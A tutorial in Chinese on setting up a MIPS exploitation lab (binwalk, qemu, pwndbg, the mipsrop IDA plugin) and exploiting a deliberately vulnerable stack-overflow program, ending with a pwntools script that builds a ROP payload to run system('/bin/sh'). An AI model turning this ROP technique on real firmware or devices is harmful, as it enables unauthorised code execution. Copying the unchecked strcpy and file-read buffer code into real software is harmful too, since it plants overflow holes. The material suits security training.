MIPS漏洞调试环境安装及栈溢出

mipsrop.help()

mipsrop.find(instruction_string)
-------------------------------------------------------------------------------
        Locates all potential ROP gadgets that contain the specified instruction.
mipsrop.system()
-------------------------------------------------------------------------------
        Prints a list of gadgets that may be used to call system().
mipsrop.doubles()
-------------------------------------------------------------------------------
        Prints a list of all "double jump" gadgets (useful for function calls).
mipsrop.stackfinders()
-------------------------------------------------------------------------------
        Prints a list of all gadgets that put a stack address into a register.
mipsrop.tails()
-------------------------------------------------------------------------------
        Prints a lits of all tail call gadgets (useful for function calls).
mipsrop.set_base()
-------------------------------------------------------------------------------
        Set base address used for display
mipsrop.summary()
-------------------------------------------------------------------------------
        Prints a summary of your currently marked ROP gadgets, in alphabetical order by the marked name.
        To mark a location as a ROP gadget, simply mark the position in IDA (Alt+M) with any name that starts with "ROP".

#include<stdio.h>

int vul(char* src)
{
    char output[20]={0};
    strcpy(output,src);
    printf("%s\n",output);
    return 0;
}

int main(int argc,char *argv[])
{
    if(argc<2){
        printf("need more argument\n");
        return 1;
    }
    vul(argv[1]);
    return 0;
}

sudo apt-get update  
sudo apt-get install build-essential autoconf git

# https://github.com/devttys0/binwalk/blob/master/INSTALL.md  
git clone https://github.com/devttys0/binwalk.git  
cd binwalk

# python2.7安装  
sudo python setup.py install

# python2.7手动安装依赖库  
sudo apt-get install python-lzma

sudo apt-get install python-crypto

sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip  
sudo pip install pyqtgraph

sudo apt-get install python-pip  
sudo pip install capstone

# Install standard extraction utilities（必选）  
sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools

# Install sasquatch to extract non-standard SquashFS images（必选）  
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev  
git clone https://github.com/devttys0/sasquatch  
(cd sasquatch && ./build.sh)

# Install jefferson to extract JFFS2 file systems（可选）  
sudo pip install cstruct  
git clone https://github.com/sviehb/jefferson  
(cd jefferson && sudo python setup.py install)

# Install ubi_reader to extract UBIFS file systems（可选）  
sudo apt-get install liblzo2-dev python-lzo  
git clone https://github.com/jrspruitt/ubi_reader  
(cd ubi_reader && sudo python setup.py install)

# Install yaffshiv to extract YAFFS file systems（可选）  
git clone https://github.com/devttys0/yaffshiv  
(cd yaffshiv && sudo python setup.py install)

# Install unstuff (closed source) to extract StuffIt archive files（可选） 

wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv  
sudo cp bin/unstuff /usr/local/bin/

binwalk -Me firmware.bin

sudo apt-get install qemu
apt-get install qemu binfmt-support qemu-user-static

qemu-mipsel  ./hello

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

sudo apt-get install gdb-multiarch

#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system(int code,char *cmd)
{
    char buf[255];
    //sleep(1);
    system(cmd);
}

void main()
{
    char buf[256]={0};
    char ch;
    int count = 0;
    unsigned int fileLen = 0;
    struct stat fileData;
    FILE *fp;

    if(0 == stat("passwd",&fileData))
        fileLen = fileData.st_size;
    else
        return 1;

    if((fp = fopen("passwd","rb")) == NULL)
    {
        printf("Cannot open file passwd!n");
        exit(1);
    }    
    ch=fgetc(fp);

    while(count <= fileLen)
    {
        buf[count++] = ch;
        ch = fgetc(fp);
    }
    buf[--count] = '\x00';

    if(!strcmp(buf,"adminpwd\n"))
    {        
        do_system(count,"ls -l");
    }
    else
    {
        printf("you have an invalid password!\n");
    }
    fclose(fp);
}

mipsel-linux-gcc -static stack_vuln.c -o stack_vuln

offset=saved_ra-buf_addr=-0x4-0x1a0=0x19c

Python>mipsrop.stackfinders()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x004038D0  |  addiu $a1,$sp,0x58+var_40                           |  jr    0x58+var_4($sp)                 |
----------------------------------------------------------------------------------------------------------------

from pwn import *

do_system_addr=0x400390
stack_finder_addr=0x004038D0
f=open("passwd","wb")
data='a'*(0x1a0-4)
data+=p32(stack_finder_addr)
data+='a'*0x18
data+='/bin/sh\x00'
data=data.ljust(0x1a0+0x54,'a')
data+=p32(do_system_addr)
f.write(data)
f.close()